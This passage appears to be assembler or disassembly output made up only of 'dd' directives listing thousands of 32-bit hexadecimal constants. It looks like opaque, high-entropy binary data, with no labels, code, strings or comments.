0EA1C9F8Bh, 0F44A9ED6h dd 0E36A433Ch, 5F80C867h, 96C433A8h, 75043386h, 96433AAh dd 2111D18Bh, 2732D7BBh, 5754BA46h, 4BB23AE8h, 0E90B5F62h dd 38C37AABh, 0AB27A3C0h, 0C352ED27h, 9F0D4064h, 0D831E3BCh dd 0BBB7921Eh, 2ED1FAEBh, 0D57CE6AEh, 0C4CDCF9Ch, 0FC827C6Fh dd 0B64BE61Bh, 84FF8D2Bh dd 6AE46166h, 319B76D6h, 50984B6Bh, 0A92C3BCEh, 0E5199E5Dh dd 5650A948h, 75A271A1h, 4A411017h, 2158F2CBh, 0C614C9C0h dd 2BF44B91h, 4F5D990Fh, 5133D69Ch, 404CBDE9h, 0F7AC856Bh dd 0D2B0F132h, 456E897Bh, 1341E233h, 0C047CB93h, 60D7E18Fh dd 14C7B00Dh, 86CDF019h, 0FF8CBEAh, 7A6E1A81h, 0CF195F9Ah dd 77656151h, 0DC6E609Dh, 5F8C2887h, 56473783h, 0A16471ABh dd 5BF09453h, 7CC0F28h, 74766AAAh, 5D77D06Fh, 6BA38DBCh dd 850A86D0h, 0D54EDFB8h, 0D651BED1h, 745AEF5Ah, 34BC316h dd 0AC1BC35Eh, 0C43F38BBh, 6D24B27Fh, 8B196C75h, 5219509Ch dd 5BA3EB86h, 89CF7011h, 0BDCC5901h, 5FD9812Ch, 89564107h dd 9BF78406h, 7FB968CEh, 298D1383h, 5E52F431h, 0F016A47Dh dd 10DACFB7h, 41637A40h, 2A05ADB2h, 630DFE1Fh, 810D1531h dd 4C47F431h, 0E985B64Ah, 0BFB7C578h, 0F8F7A8Eh, 0F21F9BC2h dd 3963079h, 0F067969Ch, 0AD4FCB96h, 42AF2CD0h, 0DA2DC887h dd 708E9E67h, 0C8AFC292h, 0F1463BA8h, 43CC8D31h, 94821F4Dh dd 0CC6F6E5Dh, 0BE53A10Fh, 42D7A41h, 3857E802h, 0BD5D5C29h dd 0CB08E8A1h, 0E0425988h, 78B3ABB3h, 978B3C89h, 88802248h dd 9D17802Bh, 0D60FF7DFh, 0F5169B3Fh, 0ACA00FA9h, 2AF06351h dd 2AA65094h, 7CCB16F2h, 60372C39h, 8F366C51h, 89997F88h dd 1196990Fh, 9A60C451h, 9F3F80C6h, 0ED1C27BFh, 24BB0192h dd 415D4E5Ch, 7195D453h, 259635B2h, 230F7ABCh, 8FFFBAB6h dd 8F8FF7BDh, 0C61AB8AAh, 59247F67h, 240B2160h, 0D46A3518h dd 1B50A960h, 842409B2h, 43724268h, 361604A2h, 84225D9h dd 0D66E2481h, 0DEE4D240h, 0E8609A00h, 0EB966D26h, 56C5B4B6h dd 5A3ED5FBh, 0A796B5B0h, 2D8B4550h, 8098306Ah, 4A951AA5h dd 5B14785Ah, 68DC5EDAh, 120846A3h, 9CE7BF72h, 137777B9h dd 0F9FBCFB0h, 49FEFBCh, 0E73BDECEh, 7DF99CCCh, 99DCCCE6h dd 0BAD82433h, 0E78DB048h, 1F51BC17h, 844FF29Ch, 527B58E3h dd 3725ABF7h, 9205E3B6h, 0E3439CCh, 4471C399h, 3686D686h dd 0C3929C6Fh, 4B483E23h, 0A9690715h, 54B6A562h, 7877FE21h dd 192EA43Ch, 10DFBA40h, 7021A962h, 6860E2C1h, 2D20E2C1h dd 82FA8858h, 68E8F905h, 0DA2C16D7h, 0FB4582F9h, 390B0598h dd 17F56980h, 0AF4F7C5Ah, 0D7D40AC6h, 89E5725h, 85DC1509h dd 8D7D3BC4h, 13039F8Ch, 4085D75Eh, 624F268Eh, 4D48477Fh dd 923A070Ch, 0E2E744FFh, 0F92ED7EFh, 240221E3h, 2095414Ah dd 93A7BE4Eh, 0A1BE93C0h, 843C112Eh, 0F0DDF0CCh, 0B43F26BAh dd 3EC9F890h, 0A8314010h, 25C4F63Ch, 0B5D7F02Ch, 0A91491EFh dd 2FA9D16h, 7F5B95A2h, 0A059E74Eh, 8D9B11A2h, 5B247FC7h dd 0F331DC8Dh, 0AFDB684Fh, 260D2303h, 2A463F41h, 42D5836Eh dd 0E092807h, 1D3F7CC5h, 113A7846h, 24310713h, 0BE756F71h dd 8A83A997h, 0F16A65CBh, 0F78330A0h, 4F4CAC60h, 2A3675EAh dd 0B66E7215h, 16967130h, 2A200E58h, 0E64577F6h, 71D843ACh dd 58E5BC8h, 0A27F40E6h, 0DCB2F38Eh, 7AB79AB1h, 0A44DD07Ch dd 0D7C4BA90h, 9DBAEEB9h, 0BA8F24E4h, 0AADA8F51h, 0A3D56D45h dd 56D452B6h, 6D22EA3Dh, 187ADF0Dh, 5E10D3CDh, 6BF2514Dh dd 0D08BB535h, 0A3357E5Ah, 0E3065FAh, 233EE54Ch, 98F8F6D3h dd 7E705B4h, 29663802h, 425F8F25h, 3798F169h, 0DE55750Eh dd 0E47E1E55h, 2D3D6D49h, 0F01C1F4Eh, 819D6CE5h, 9A5864E6h dd 7970A2D2h, 30AF6AC6h, 0E4FC91D2h, 0AF2EE1C9h, 8DA17D41h dd 8F920EB4h, 84D53E3Bh, 8FF93232h, 0B0C65AACh, 7F0E1742h dd 0C256612Dh, 76C55815h, 0A5A6463Ch, 5C257675h, 5386FB7Ch dd 792F6B25h, 60DAA0FCh, 8C45660Bh, 0D7809A02h, 878368C2h dd 4132E327h, 0BE82071Fh, 0C163126Bh, 0D6079705h, 8D879FCBh dd 0F6D862BBh, 0B0EFD849h, 7C48B318h, 8E34DCE1h, 0D3FCBB7Fh dd 6D1ACA95h, 3BEEF268h, 1CAFBA9Bh, 0FFBB6AC0h, 43B6EA68h dd 658C317Dh, 49066A1Dh, 2189AA8Bh, 7DB0AD24h, 43E26585h dd 0B2B9E130h, 899E52C4h, 3A19A6D3h, 8B817D59h, 0F74F48C0h dd 0FACDA7DFh, 3ACB8ABFh, 9C170B9Dh, 0C7194807h, 0FBF6E55Fh dd 779FA950h, 0ECEAAC3Eh, 2AFE2227h, 0A7A89193h, 5B371DB9h dd 0D72F1379h, 0A56846ADh, 0FA56846Fh, 95C6D0CCh, 7F9D343h dd 1DD89994h, 0EA56E8A2h, 64C7050Eh, 7E8A32BEh, 0F9F20102h dd 576363FCh, 33091146h, 5C2B2C6Eh, 21F6DB82h, 876DE06h dd 0C4C9950Dh, 143D723Bh, 28DC8659h, 69872CDFh, 5B587966h dd 9C17C5DFh, 0E4C61D98h, 7566FE1h, 0FDF588FAh, 1BAABC34h dd 5DAF9691h, 0A47A2D21h, 1C5A55E1h, 7F6E42DDh, 7A3770C7h dd 0C83ED41Ah, 710B908Ch, 721F7DAh, 815341A7h, 0FA41B7Ah dd 917C6917h, 0E3E37B8Bh, 608FCA4h, 3B6DC7F4h, 0F9C0768Bh dd 0E9328CFAh, 6FA4BBFFh, 9786B55Ch, 1681AEAh, 0D1B4812Dh dd 42FA93FCh, 90BE49F6h, 0CFBC327Dh, 206F8EA4h, 0C687BE39h dd 12647C08h, 4030363Dh, 4D04F7D3h, 14A01CAFh, 99CDE827h dd 0E0E221D0h, 0C89A44E5h, 0A868D1F0h, 0E4E6735Bh, 0F10FC690h dd 27C1CA20h, 818E8103h, 0F5E5B1E7h, 1163E955h, 4B67F912h dd 7CC9ABA8h, 87A30D59h, 34A4E596h, 8EFE7461h, 40E3CFD3h dd 0D1A18186h, 0A7C94F3Ch, 60740190h, 1E799F2Dh, 8992622Fh dd 70FDC398h, 92075647h, 40A6E9Ah, 0DB728790h, 0A1692E4Fh dd 3D484FB6h, 5A74BDC2h, 8E813D82h, 9293CF53h, 0EF5827A0h dd 21DD032Ah, 0A2534115h, 2521EE0Eh, 4BD01F0Ah, 0BBE868ABh dd 9E62883Ch, 8747991Ah, 7EB1F596h, 0BAD7AC8Eh, 1C5995E8h dd 0A13BF1B2h, 1323FF92h, 286D7ADFh, 2FA81CA1h, 0CF970A9Ch dd 0F6717295h, 12C9D0C3h, 348CE473h, 348CFC63h, 793BA944h dd 667CAD9h, 7DEBF14Dh, 4BD1D72Fh, 8335B68Dh, 1565FF3Eh dd 0EAA589A6h, 211750Bh, 0B83BBD09h, 4D21B51Fh, 0CAB1017Dh dd 607469DCh, 4B236F97h, 0C7284D6h, 0D5A1C2F6h, 71A0A9A1h dd 8C1536BDh, 0E457D68Ah, 7BEA8007h, 0C572BE99h, 234DBFB6h dd 0E8B269Ah, 23CEC6D3h, 58238EFEh, 6CDF42FDh, 85B408E1h dd 0C73B6A7Eh, 4856D79Eh, 0A70F9FFAh, 0E3F3C8EBh, 0AF00F72Bh dd 72BC03DCh, 0EB21C06Fh, 0D7CA00B2h, 49C13563h, 0CCDCA699h dd 3E53486Eh, 384BA298h, 4C1337A8h, 0C79EFBABh, 79FC791Eh dd 0E71E47ADh, 0F138F36Dh, 0E600DFA3h, 1B70B7C2h, 0CD077DA4h dd 0FE58C3B0h, 0B714D689h, 61C8FFCDh, 50BF400Ah, 0E3CF5D1Bh dd 0DDFC7B47h, 4BA27F01h, 8EECCC26h, 0F81CEA3Eh, 15D0BEAEh dd 8EFEC28Ah, 0F3B2C6F7h, 8F71AA9Fh, 0DA79E74h, 0BF449C28h dd 2BBC7561h, 0DF00431Ch, 0C5B396FDh, 70E9686Ah, 0FD932F3Fh dd 0AE18997Ah, 53F12654h, 8C7856B4h, 9463C2B7h, 6C28AF90h dd 3ED1EBFDh, 0D1F6551Ah, 1C5ACFFAh, 5E3F2255h, 6DA39DCEh dd 7F6D8D3Dh, 0FF990719h, 6F1338FDh, 0E0E287Fh, 0E37505EEh dd 5364E0FFh, 78F401C7h, 0F88357F9h, 781ABFCBh, 0DB8E5DA7h dd 0FC57F0D5h, 2F6FBC9Ch, 7BE194B7h, 0AD5EFF7Ah, 0EA05F1AEh dd 5EDB1F1Ah, 0AFDA2C26h, 5D1A1F4h, 520605AFh, 6CF28C0h dd 9E33E642h, 652D8BD9h, 0F7A1E8Fh, 0DF0F8D0Fh, 696BF8CBh dd 93C9934Dh, 9E2181FEh, 4D3EDF3Bh, 33835C6h, 48E5A35Ch dd 0AE22FDCDh, 729BE1BDh, 7254517h, 7B7F5E30h, 671E0BA0h dd 890AB4DDh, 0D8EFE525h dd 0C17697BDh, 3A7AC5ECh, 0F7279840h, 9BBA8172h, 21EC2527h dd 0C68488Bh, 0AFB15D00h, 96147B30h, 0DA3A4CC2h, 0F5F193Fh dd 0EDC8B59Dh, 5687181Dh, 0BC03C142h, 9E819EE7h, 258D663Bh dd 0C73BE0CDh, 0DB2ED3BCh, 0FCA8358Fh, 995F1268h, 46A47DAh dd 352FF2FEh, 4EAABFD3h, 4B1BDA17h, 0A1B54EA8h, 0EE1AF946h dd 0F2E32F76h, 6A4CAF8Ah, 6B57CE5Bh, 14766F42h, 75DF6C9Eh dd 6C7EA670h, 0F4CBFBF1h, 4A51AD4Dh, 80B43593h, 0FF3787BDh dd 24F87B3Dh, 0F3693260h, 7141BFC3h, 33A55062h, 0B346F35Ah dd 0FDB6D483h, 0C5EE8F1Dh, 57B659C5h, 0B7C4185Fh, 6DA0C2D0h dd 0BFB4EE2Fh, 0D320E35Dh, 5E18EDA3h, 9C15F75Dh, 24D05842h dd 0BF8C4A68h, 63AF1878h, 44ED5EE7h, 0F1E3BFAFh, 82127CBDh dd 4347394Fh, 5FC65EF8h, 0F0D1AE26h, 36C28B2Ch, 646EC2DAh dd 0BBAA98D1h, 4D3E00E5h, 0E3CD66B9h, 602057ADh, 9C89A688h dd 83D79F80h, 59F4D5DBh, 0D0E911B8h, 3B81D08Dh, 0A9271C3Bh dd 7B41F0B4h, 0F6E34D4Ah, 0F7808294h, 0DDB0AE9Ah, 0F0EAF8F0h dd 4A3BCD66h, 8D906661h, 34989E56h, 0BBD0EB99h, 8FC15D0h dd 9F97C0E6h, 7036DE00h, 0ADE76F1Ah, 0AF94F156h, 33FABF1Ah dd 0D093E8D2h, 0B59EE20Ah, 7488BB21h, 0F6A51E88h, 29D2CA9Bh dd 0EE1F264h, 268EC9EEh, 26EC0D01h, 0FFEC0C98h, 5E3BEC8Ch dd 0D9C685A3h, 687943B0h, 0D0ABBF35h, 0F9D042AEh, 0E1EB7277h dd 333F9C68h, 64DBB77Bh, 0E2D47B23h, 0DDF0077Dh, 0F9BB0C2Fh dd 3726E645h, 0F0040FFCh, 72E729A2h, 0AC95EF98h, 0A16D77D2h dd 0B0DF1195h, 70704E2Ah, 0EBC11443h, 849C74E5h, 86F9EFA8h dd 7C34E28Dh, 0F849C498h, 0ABA45078h, 1861656Ah, 38612D35h dd 0A7A4333h, 4B4A3652h, 6E63A3FFh, 8ECB6F1Ah, 0DB1E16C7h dd 61E34C9Eh, 0DC8D500Ah, 0ECBF3716h, 62BD09CAh, 3B1EEE27h dd 8E9EAF76h, 0AF78839Dh, 0BF79D64Eh, 0FEDB1C34h, 0DDE01931h dd 0D546A74h, 0FD147FFBh, 6DFE4E3Fh, 0BE9C970Eh, 17E91283h dd 1E5EC286h, 745B2F47h, 0D5956896h, 930E1C2Fh, 0BDF2449Fh dd 0D6CCE491h, 25D0BF21h, 3D6CCE6Eh, 0F565362Ch, 8764F58Ah dd 5AF8F3C8h, 3A57D234h, 0EC0BD594h, 0D95F7BC5h, 0EB40EE01h dd 0F69FA7FEh, 9AB738DAh, 0BC0E9DA7h, 32B7695Dh, 486EC429h dd 950C3D2Dh, 0F741D135h, 57696F9h, 320BD3AFh, 6CD4193Bh dd 0A251865Eh, 0F82FDD76h, 0A5D3B2EEh, 989DF178h, 21B8F4F3h dd 41EAB628h, 301F3768h, 34F4386Eh, 0D49BFA70h, 0B1B3FC23h dd 0AF3B3847h, 4378F847h, 15AFF08Fh, 0AA3FC23Dh, 25D3847Bh dd 0F927C23Dh, 0AA99C23Dh, 1BEFE11Eh, 0A8F847Bh, 3D0F847Ah dd 0BEB0423Dh, 0F6805047h, 611EBCEFh, 711DC200h, 546F08F6h dd 20C708F6h, 0F5369FCCh, 7BC26F08h, 9DBFBC1Fh, 3BC23D4h dd 3085DE7Eh, 67FDC1C7h, 0FC11FFC0h, 8F627BFh, 0FDDC027h dd 3F017FEFh, 11EE6D7Fh, 93F782DEh, 0DECA7EF0h, 1DCFFC23h dd 29FBC23Dh, 8F51C23Dh, 0FDC9EFAh, 0D43B7469h, 0E03EB2F7h dd 856B6AB9h, 4E94BDDEh, 3FF5B89Bh, 0F3D2AC6Fh, 11F03F12h dd 0E79499C6h, 0CAF29C74h, 0C80CE96Fh, 5CFE3C66h, 0D5BB533Bh dd 0DBB8A61Eh, 0EC6AAA1Ah, 0E2347568h, 629A3A7Eh, 0F6FF9371h dd 0FD8F1993h, 7B4BAC9Bh, 8387D0ACh, 0C31E3393h, 8D927243h dd 0A62A206Ch, 23BDE2EFh, 7DAB26DFh, 67B96916h, 4CD221AEh dd 0F52514C4h, 2266F1A5h, 0D46E52EEh, 3CEDCA71h, 4D31874Dh dd 0ED64E7Fh, 3B621A23h, 0B9E7C352h, 3BC59DBEh, 5974BBDEh dd 86E3ED3Dh, 9196F8EEh, 0C9A19C6Ch, 2814C972h, 0B16C84B0h dd 28D5FE2Fh, 5944F69Fh, 2A10DC4Dh, 3A34F1A1h, 0F4EE6734h dd 2BC7E202h, 4E48EDB9h, 0BC33F89Eh, 0D79A000Bh, 58008B98h dd 7D0022F8h, 0E92398D1h, 0E1D39810h, 8EE98FD9h, 8A92FF7Dh dd 373AFF79h, 0A85BAA20h, 461DA8F7h, 0DC29539Bh, 36FC3947h dd 0BFC5B3F5h, 38278CC1h, 90753F95h, 0C135C3B5h, 0D5D997A5h dd 5F181C30h, 8F95CB60h, 0D817A77Fh, 0F3E1BD85h, 56FBB41h dd 1E6D1995h, 0C83B5B2Ah, 976A5D7Ah, 0F8755D76h, 853F84A2h dd 8CDF66ECh, 9C9F9A45h, 7B386110h, 9CDF8192h, 136E8D34h dd 0F8DE538Dh, 679C8E0Dh, 81CC2087h, 0B268CC5Bh, 76DB8C4Ch dd 53EC56E1h, 92176DD6h, 9FD48C9h, 6DC74A32h, 5F3A97D0h dd 0A433441Eh, 9E080EA5h, 7F8E68Ch, 0A77E39B9h, 0C183D4B3h dd 0CA1B8D10h, 90E793F2h, 27C47E45h, 10A7C18Fh, 67EBEC9Eh dd 284E4EACh, 43E32717h, 2DD0598Ch, 5586BC9Ah, 34A6BA4Eh dd 37396421h, 25AF0AB8h, 57260BD0h, 0D422FE39h, 6724B5Bh dd 0E61BE16Fh, 0CB6A5A45h, 6A445E51h, 0EA16C87Ah, 0DD3349A8h dd 253E617Eh, 5333D121h, 0ADCEE633h, 0A63373CCh, 0F1B8D9AFh dd 7CD06BD2h, 846B479Eh, 0D5D9196Bh, 0C0370B29h, 36C6CA5h dd 39BD1EE4h, 0BAB5E19Eh, 876DC8C9h, 973A09B0h, 95D3BC3Bh dd 1AF517F2h, 7E1BFF9Ch, 0CE9B1D68h, 0E4D499C1h, 1EEAACD7h dd 1F531013h, 0A0BF0CA7h, 20F33107h, 9F8830A7h, 370BA107h dd 4886693Ch, 94D3ADABh, 6120B5D7h, 0B7E52CDCh, 3414E3Ah dd 6FBB78DBh, 0B83FDA25h, 2BF93F59h, 6B5DED9Ah, 3672DDBAh dd 0CB975E36h, 1789D653h, 0FC80FDD5h, 95BAB77Ah, 0DA9AFD1Fh dd 0DC57C56Ch, 5F8CB5CCh, 32EB3746h, 1877ECABh, 71ECAB34h dd 44B56A48h, 0A485C31Ah, 0EF45835Fh, 0B257AC97h, 3BC06B87h dd 27CA1DE8h, 309D69BBh, 0BDF2B253h, 0E351BA2Bh, 72DC2593h dd 874866FBh, 8F6C647Ch, 0B1EB2F55h, 8531E49Eh, 72794534h dd 0E24298FFh, 0EF0E5C81h, 0FD81CAADh, 0E1FCACBAh, 39AA2A1Eh dd 49D95458h, 2D243A1h, 3A0FD65Ah, 77855AC6h, 0E85F1FECh dd 10C2CAC9h, 29CE42A7h, 7E7D3901h, 0CE827113h, 5BF18BB8h dd 0BEB33421h, 0FA3D7FCBh, 7D879755h, 7E7C194Dh, 5E7BA554h dd 0B76C29B1h, 16E66647h, 5E245DE5h, 8CEFDCC1h, 7EE6B1F4h dd 68FCFD7Fh, 0F3DFB9A4h, 0FDCD6369h, 0B993AC3Eh, 34FEDFB9h dd 5DA32732h, 0C592E61Eh, 9EFC8B64h, 1EF813DCh, 3EB3704Eh dd 43758A6Dh, 0CDCDB3A7h, 0EB24F500h, 15E7E350h, 6D93F3DBh dd 48133A68h, 45C62931h, 5E376F59h, 7CB2E6A0h, 7EF65B79h dd 58F953D0h, 749A4A03h, 0DCF74C87h, 0D287D3FBh, 70B936CDh dd 0F48D1DB3h, 9F27F824h, 0E59EB46h, 0B428EED1h, 6F4D123Bh dd 8107E3FBh, 73269C1Eh, 384C9C7Fh, 47B34968h, 7EC42EB3h dd 6710ED1Bh, 67B7C97Dh, 0F956E5CAh, 0E5B7ECC4h, 0DBFD0F2Fh dd 4EB9281Ah, 0F4383F95h, 2FE9AB77h, 9AB23E87h, 0D2FACFDEh dd 2FEC3A5Fh, 177EC6B7h, 6FC9D93Fh, 0ECD0FA1Dh, 0A304B62Fh dd 0B79C9DB8h, 0C4C61F7Ch, 0DA03F8BEh, 3B89248h, 48CF70DEh dd 0DA7E8BECh, 43B71219h, 0CD24EB4Eh, 0A23A5FD4h, 9E383BCh dd 851F53D7h, 0E234BB57h, 0C88F944Dh, 0EDCFF6BDh, 17F2ACEFh dd 9CFF9C8Fh, 0E37A711Bh, 0E2E44FDDh, 633FDF11h, 6EC5924Dh dd 4D1CB7DDh, 1684BFBEh, 6D8B051Dh, 7C65609Bh, 5671676Dh dd 77EC70EBh, 8BD34136h, 29D1F4B8h, 0E3A580DFh, 685C1F96h dd 0D89688BAh, 0F98F88D0h, 91E83C75h, 15F38515h, 0FB1830BFh dd 22E98FDDh, 459011E1h, 78705938h, 0A71CDECDh, 0D94F1EFAh dd 5B6D467Dh, 47BBFF93h, 17AAF0F0h, 1EEFFEDCh, 9AF021E3h dd 0C64BF26Ch, 23C502C7h, 3566BDCBh, 61DF39Dh, 69542F5h dd 0FC8468DDh, 4A7CE5F6h dd 1F7043CFh, 4621C5A4h, 0D3940E8Bh, 0BC86BDD9h, 72D86385h dd 0AA2243D3h, 83D3E48Ah, 1B010729h, 0AA521E28h, 0DF54977Dh dd 0E6BC1369h, 471618D4h, 6E0A52Bh, 0C878A6C5h, 0F29BF7F7h dd 7AE0C594h, 0CF1A20C6h, 0CC54349Fh, 0A1EA78D2h, 6F8454D7h dd 0DBC62CC5h, 0A0710366h, 0B665B1Bh, 68297F56h, 0EDB12395h dd 0DE80B087h, 0C4BDF588h, 0D97345F8h, 60AF3058h, 0E5A30749h dd 950C21D2h, 35AF966Bh, 0CD7ACA1Dh, 9B35C42Fh, 7871A5FCh dd 0C590F80Eh, 30D59A04h, 2FE5D424h, 7CB41B6h, 71C5598Fh dd 646AAB4Dh, 0A02E6E43h, 333523E4h, 984820D9h, 0B26AC658h dd 7EF48A59h, 410EEFECh, 0CD0A041Dh, 0CF366F59h, 35B140Eh dd 0CA058C3Eh, 98C305D1h, 0CD420C2Ch, 160DBA9Bh, 849C5F94h dd 823B3BF7h, 0F07C35BBh, 0CA0F8C09h, 9B185D2h, 32209943h dd 6F2F7DBFh, 940CFB04h, 213003CBh, 32EF4A61h, 0B972015Dh dd 0ADE506BDh, 0F235FA69h, 3E7A2274h, 0DD93E938h, 0E0C6AF4Bh dd 320635E6h, 0C1DCAE90h, 7FCFB9E7h, 2C7E999Dh, 0F9AB6CDAh dd 535BB3F5h, 2FF63D5Fh, 0A43E49D2h, 0B17EF3EBh, 3828C48Ch dd 62F0C73Ch, 6591E543h, 0F81517A4h, 0A2CA6F7Ah, 7AEF2D40h dd 341F3473h, 3AD8820Bh, 2C22497Eh, 0FE58451Fh, 0F0C2248Dh dd 14DD3F6Ah, 0EE7B66F1h, 0BE6E7B4Ah, 2461773Dh, 0D458F56Ah dd 0D8B39C36h, 0C914E1B7h, 0C2F3E68Eh, 94758784h, 892DCF68h dd 0CF60D0E4h, 0A1A3B2ADh, 75AC31E3h, 39B97BD3h, 223B0E21h dd 0B0861438h, 0E058116Dh, 7AC71E60h, 506E5F3Ch, 494872D9h dd 36451CB8h, 0C6C32F96h, 0BE6B115Fh, 0E5C67622h, 4A43B4D8h dd 0B8B115F4h, 0DCFBA027h, 0B4689CB6h, 0B73D691Fh, 4C5E9F2Dh dd 0DC6EAEF6h, 6FF644A1h, 0FB725656h, 0C5634F37h, 0F8B3F1A8h dd 0DF1407Dh, 6F331978h, 10DC1D34h, 594538B4h, 400F0536h dd 0B6F2C682h, 0A11CBDA0h, 0F13E3517h, 0E6A190D3h, 4283FCE5h dd 0F6681B67h, 0F9C5471Dh, 32FC77DBh, 5C6BF18Ah, 7EB6E46Ah dd 3A59093Ch, 39FB1CB2h, 3A0B2873h, 0B1C95B74h, 7D56CD5Eh dd 1CE80FCAh, 8F7E51E4h, 3DADCEBCh, 899EDC4h, 0CB1D7F6Eh dd 32FDA06Dh, 11DB7F6Eh, 0C97746E2h, 6FF545E0h, 0C6FD0EEh dd 3CA5D6BAh, 6EDA00FAh, 70386C55h, 9C11F287h, 0B83BC1ECh dd 8BB53BB9h, 11F54607h, 29B51B6Fh, 0FA5A8CD1h, 9A16166Bh dd 2C0DE0E1h, 0BD6546A0h, 48D8974Fh, 741FB946h, 17E4C90Dh dd 38AD6DACh, 3B222EA7h, 0EC82CF75h, 55B17B1Eh, 31AB0AE8h dd 0AE855B17h, 5A1272BBh, 0D5C25B49h, 380D94h, 0A43B8D7Ch dd 0FC14FCB5h, 366BA300h, 0F8BF056h, 7B41EEBAh, 64E6BD80h dd 0ADCF12BAh, 2F87BC1Ch, 0D317EB33h, 0D5DF628Ch, 0F2A71FB4h dd 4A592A79h, 0C084E58Eh, 24868813h, 0F7BFA83h, 5D0A005Ah dd 1E54E938h, 0B9F2429h, 0F8A136B5h, 88A584A7h, 0B87212D2h dd 273FCA5Ch, 431B7E93h, 45825256h, 160D42A1h, 0A8B67328h dd 8768ABEAh, 0BA57AB3Ch, 92E27955h, 0C5C955F6h, 84EC624Dh dd 1567409Fh, 798956DAh, 0EEA92FBh, 6E2E564Eh, 0BA69CAA6h dd 0D49CAA14h, 5AE08AAEh, 3F945917h, 0D6B6C40Eh, 0C2E65638h dd 0D75F8A14h, 0B47E392Dh, 35FA9298h, 40F065E5h, 0D78A4857h dd 4E97F5D3h, 0AA3992C5h, 0E1F1A706h, 49BC9BADh, 0E9EAB6E6h dd 66E1F94Ch, 18C35E5Ah, 71D30BB6h, 0E1531D14h, 387974F1h dd 88D6B856h, 52F47A38h, 40886D08h, 56842BFFh, 0A45096D0h dd 3CA58B5Dh, 0E6E558D2h, 0D0A98470h, 0A85D431Bh, 88CEF95Bh dd 6C820E6Eh, 77C3D43h, 33429885h, 650050E6h, 0D11A88EDh dd 780C42F1h, 2733B3C0h, 764AAA8Ch, 9FE29188h, 29C131A3h dd 0F5C9985Eh, 93289963h, 308AB528h, 654A3308h, 2AAAA2F4h dd 250A6C0Fh, 89B8D953h, 0E9C89A7Fh, 0FAE26756h, 0D0300D18h dd 229A94CAh, 1B928CCDh, 0DB860F86h, 0DBE2EE3Eh, 0B78C0C3Eh dd 3DA100EBh, 79935CA8h, 0A03ECFFAh, 6A19586Bh, 0DA4565E0h dd 4C5199E4h, 54EE4007h, 0BA756F60h, 0B48B9694h, 358B0075h dd 0F287979Dh, 68A827AFh, 0A72BF7B7h, 0AC69A99Bh, 1A6A18BCh dd 0C661BBDBh, 7A0AD665h, 6C25DCF8h, 25E5F304h, 85DF66C9h dd 1DD369Bh, 0D3DDEF02h, 2452B8D9h, 0FE0E37E9h, 0C35A0622h dd 5E1C1444h, 93283B5Ch, 0A79CE48Fh, 468399EBh, 2779F63Bh dd 19143075h, 163624h, 0EDFDEDCBh, 68B85127h, 0F9AFC087h dd 5E043A6Fh, 3D6E1CD2h, 0DEA0ABDDh, 4A441A79h, 56E62803h dd 3783C8BDh, 5B4B2700h, 0C1085A36h, 631162F6h, 0A8672F94h dd 0F94A306Ah, 90BD743Eh, 669C140h, 2B4A1C8Fh, 6E84D80Fh dd 18579961h, 8DCBC9Eh, 0AE9B78EFh, 35B24B35h, 0A03EF24Eh dd 0C54126BCh, 6AA70415h, 4458501Eh, 32F7C9E3h, 942939E5h dd 3407B942h, 0C4462B71h, 17E6F953h, 0EF695363h, 296AA60Ah dd 80BAEBA4h, 73E2A60Bh, 5AB5E64Ch, 0D05815C9h, 2A4EA65Ch dd 39CAC884h, 0DE769E4Bh, 2D78AE18h, 0ACF9C521h, 56914652h dd 8634B388h, 0FD90C45Fh, 56D12E4Dh, 6191117Ch, 20643161h dd 2AB5E318h, 966C4467h, 89CA188Ah, 62C665EEh, 0A1A909ADh dd 0A82D8426h, 0CA7AFB2Dh, 33BA14C4h, 0A6BEB2E4h, 0A1479575h dd 4784F17Fh, 2613B4D1h, 6EACAEECh, 73C76C77h, 0D829F0B8h dd 0ECEC3264h, 5DAABC74h, 5097819h, 5D4776A8h, 464BFB6Ch dd 0D8C4E4F2h, 0F850C647h, 0C671EA95h, 5249F2CEh, 0C9308F7Ah dd 0CF907DC0h, 58719A4Bh, 5DA6FC87h, 0F1E41655h, 54143D5Bh dd 0F64027B2h, 0E7B3E1E4h, 0F282E6F0h, 5D9DD8B8h, 0D7C5BA0Bh dd 87B44695h, 435871ABh, 0F8D2E845h, 8B8B9438h, 0A5DF6FA8h dd 8BA4D9BCh, 7F76BB3Bh, 367B5F0Fh, 487B89E1h, 0B71E9964h dd 1A865B0Bh, 9522B68Fh, 0D9D020C7h, 153AE9F7h, 6B306EABh dd 30CEF512h, 0AF84D783h, 0E65FA066h, 1A12C5B9h, 0A10D9402h dd 3953A777h, 978B3501h, 0CCCD446h, 4385197Ch, 1306D9C2h dd 0C24DF02Eh, 1F985A8Dh, 5650CDF9h, 0AD8ED6Ah, 0C7B874F4h dd 0F8C163A7h, 110D7874h, 7B3DE909h, 0BE305D0Dh, 0CA47AB26h dd 0ABCE7253h, 9CACAC11h, 0AB10C5D5h, 0B247E77Fh, 4B2638BAh dd 13FEA730h, 51B0DE56h, 8CD0564Ah, 0E1BF4BA8h, 9EAE4774h dd 51F39A97h, 6ECB6D74h, 8F0268F2h, 23539D6Fh, 0F74B3D32h dd 851C3438h, 83ECFB82h, 0E92CD1E4h, 0A67C5166h, 0D6CF551h dd 1BA4A321h, 42841F94h, 1B73FF2Bh, 0A0780E6Fh, 1C6AECEAh dd 0A5A38678h, 993D4AA9h, 0EF167F24h, 405B3E0Eh, 0A5C918D8h dd 0B6D39D94h, 0EF95EEBh, 8669BD50h, 5BA3B1AEh, 2FA51E83h dd 778C5214h, 1BBFD9F2h, 0FB64E2C2h, 90611097h, 0A45BF7ECh dd 0F15378C9h, 873116Fh, 27865F17h, 9E3C4548h, 57493A87h dd 0A9CB5D08h, 0F5A3C399h, 66397E4Dh, 1ED86543h, 22892D33h dd 0A4BE8FABh, 9B67B10Fh, 0E944DB88h, 6E43FFEEh, 45F97618h dd 331AF514h, 58C3FD8Dh, 0E9673DE5h, 24F0C553h, 0CBB38F29h dd 0D118ECE9h, 0B30A5DD9h, 635D1C43h, 23713630h, 0F0EB5EB4h dd 0F12B2642h, 55B0DFD0h, 1BE4504Ah, 73FE2A54h, 0BF7DF497h dd 75455F67h, 14B2786Fh, 0B379898Fh, 0AFEDE899h, 0FB3DD341h dd 14D69536h, 0BEC5A5Eh, 984ABCC0h, 673D50D8h, 0FCF50EDEh dd 0DC6D212Ch, 0DBD0D7DBh, 2A9984A3h, 7ACC444Dh, 0E47F04C0h dd 9DC69E1Bh, 0C10C400Fh, 0D3C37DC7h, 0ABFF82A5h, 0AEC1EF22h dd 0C1171CBDh, 6896FCACh dd 